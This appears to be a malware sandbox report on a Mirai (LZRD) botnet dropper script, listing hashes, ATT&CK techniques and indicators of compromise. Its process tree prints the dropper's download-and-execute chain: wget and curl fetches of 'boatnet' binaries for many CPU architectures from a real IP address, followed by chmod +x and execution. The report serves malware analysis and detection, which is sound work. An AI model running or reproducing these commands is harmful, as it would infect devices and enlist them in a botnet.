mirai | 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5

Analysis

max time kernel
95s
max time network
143s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
17-12-2024 11:18

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General

Target

ohshit.sh
Size

2KB
MD5

d7aac5b39f096043750096172ee9a84f
SHA1

fde809f81c26db59c148255c0b60176c8971bc0c
SHA256

2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5
SHA512

77c79dcb7c89e16cfe5d3712adf37173249b6066673ff20c2a2b6c90ebe2eb5ac5c295a250b6b9fc0596ff0872ecc15d4dec8852a515c0826436426dd5f1efff

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
741	chmod
780	chmod
798	chmod
803	chmod
823	chmod
843	chmod
735	chmod
863	chmod
869	chmod
857	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/WTF	736	WTF
/tmp/WTF	742	WTF
/tmp/WTF	781	WTF
/tmp/WTF	799	WTF
/tmp/WTF	804	WTF
/tmp/WTF	825	WTF
/tmp/WTF	844	WTF
/tmp/WTF	858	WTF
/tmp/WTF	864	WTF
/tmp/WTF	870	WTF

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	94.156.33.106

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-4.dat	upx
behavioral4/files/fstream-8.dat	upx

Reads runtime system information 32 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/850/cmdline	WTF
File opened for reading	/proc/851/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/671/cmdline	WTF
File opened for reading	/proc/702/cmdline	WTF
File opened for reading	/proc/860/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/676/cmdline	WTF
File opened for reading	/proc/704/cmdline	WTF
File opened for reading	/proc/847/cmdline	WTF
File opened for reading	/proc/872/cmdline	WTF
File opened for reading	/proc/873/cmdline	WTF
File opened for reading	/proc/849/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/861/cmdline	WTF
File opened for reading	/proc/867/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/710/cmdline	WTF
File opened for reading	/proc/874/cmdline	WTF
File opened for reading	/proc/684/cmdline	WTF
File opened for reading	/proc/703/cmdline	WTF
File opened for reading	/proc/866/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/427/cmdline	WTF
File opened for reading	/proc/668/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/677/cmdline	WTF
File opened for reading	/proc/705/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
738	wget
739	curl
740	cat

Writes file to tmp directory 19 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arm7	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:705
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:708
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:734
- /bin/chmod
  chmod +x boatnet.x86 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:736
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:742
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:778
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:781
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.i468
  2⤵
  PID:785
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:797
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:799
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.i686
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:802
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:804
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.x86_64
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:822
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:825
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:826
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:837
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:842
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-4c5662926c9c444eb60597c66036d875-systemd-timedated.service-hzF33e WTF
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:844
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:848
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:856
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:858
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:860
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:862
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:864
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:866
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:868
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:870
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTF

Filesize
23KB

MD5
3bdca38ef6a4b0c3aba6c2aeb9adf306

SHA1
6644331553bc4b14d5409e43ca833a246a48f942

SHA256
072a76e22e93f371f6110b43b1f270a4f5c2e9dbdc919315ffcd81c5979b202c

SHA512
1afafe5654a371e5d472437b26b5a496444f4a057e913e146d01c6c81e4b8c7806cd3bf6ffe51dfffd760a7ec73f8449675d01322ef9a917f233f1a3bfc60863

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/tmp/WTF

Filesize
105KB

MD5
1fd8e43cbe5b81848f9cfc60c09d1340

SHA1
63ab77fb7378f0d6e312f26e844002e80965a494

SHA256
317b00ed2023e148d3e740ffc212f5c4adbfce5abe037f6fa1e606dec067d1fa

SHA512
322a26c7fb80b858a19a1dfffac7b5a759e33f60c125761750a6bbe22590be817b8194194780a2e3542c05634900c8bb2c3cfbafbdd6e94ddc133e5177ffb9c1

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/tmp/WTF

Filesize
220B

MD5
f1c24d9fa40a047ae22d2d3ae7dfeac9

SHA1
750274b02d5f5b00026a4f55b020f4285c693533

SHA256
219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

SHA512
36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

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/tmp/WTF

Filesize
220B

MD5
a8f502a6fb3b7b940e922c951d9e493a

SHA1
fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

SHA256
748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

SHA512
e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

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/tmp/WTF

Filesize
26KB

MD5
8f5404967b32e6ee636ffe931b401cf3

SHA1
856eebf0d696bc1d82535ce6c42510d2ab441dde

SHA256
49d4618d1fda32e2d3ed214a581b4c2ada51de33797471345b51da252f9462be

SHA512
1a52287b2215042fba728a3556be7f3f60e47f6ac2ad99cf9f7f85b8813e22813236f0e91879554a8ae6547d2e59d6a2800c3b3fe613448cb37d14955bf7d2d6

Download Submit
/tmp/boatnet.x86

Filesize
20KB

MD5
9acf9fc63b01f4a7a5b33881073ff6a6

SHA1
cf5be79ccc477ca582c8aee42898442f8089b886

SHA256
0a21cbd563070ce0b39665b70de81e88f4680648335e9c6cd13963e8846e7ea9

SHA512
1dd2bd462850bdd10a2d95214d16dd358131838862a119b47ba6d70a0c894284efbf7294e24c79b0032aba41e09b8e84c372bdae073d6339e269187b8794eae5

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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